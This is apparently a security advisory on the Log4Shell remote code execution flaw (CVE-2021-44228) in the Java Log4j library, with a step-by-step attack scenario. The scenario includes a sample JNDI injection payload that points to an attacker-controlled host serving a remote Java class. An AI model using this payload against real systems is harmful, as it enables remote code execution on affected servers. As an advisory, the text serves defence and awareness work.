Critical vulnerability in the popular Java library – Log4j
ANSWER
A group of developers within the LunaSec platform discovered a serious vulnerability in the popular Java logging library Log4j. The critical vulnerability is: CVE-2021-44228 (Log4Shell), which allows remote code execution. This library is one of the most widely used event-logging libraries for applications written in Java.
It should be noted that a very large number of commercial applications – from companies such as Apple, Amazon, Elastic, Steam, and Twitter – use this library, meaning the likelihood of this vulnerability posing a threat to an organisation is high. The vulnerability allows remote code execution with the privileges of the affected application, for example a web server using Log4j. Exploitation is straightforward. Growing traffic associated with scanning internet-facing services and attempts to exploit the vulnerability has also been observed.
An example attack scenario may unfold as follows:
- An application logs events using the Apache Log4j library – for instance, failed user login attempts – recording user-controlled values such as a username or email address.
- An attacker attempts to log in, supplying a malicious payload as the username, e.g.: ${jndi:ldap://sample_domain.com/a} (where sample_domain.com is a server controlled by the attacker).
- The Log4j vulnerability is triggered by the payload, and the server sends a request to attacker_domain.com via the Java Naming and Directory Interface (JNDI).
- The response contains a path to a remote Java class file (e.g. http://test.sample_domain.com/Exploit.class), which is injected into the server process.
- The injected payload enables the attacker to execute arbitrary code.
It should be noted that the attack vector is not limited solely to web applications. Any application using the Apache Log4j library is potentially vulnerable if it logs user-controlled values. For example, if an application processes email headers or DNS query data using this library, that system may also be at risk.
Many vendors have already issued their own recommendations and warnings. These can be found on manufacturers’ websites, or by consulting the community-maintained list of links: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
Additional information on how attacks work and how to defend against them is also published by security-focused websites:
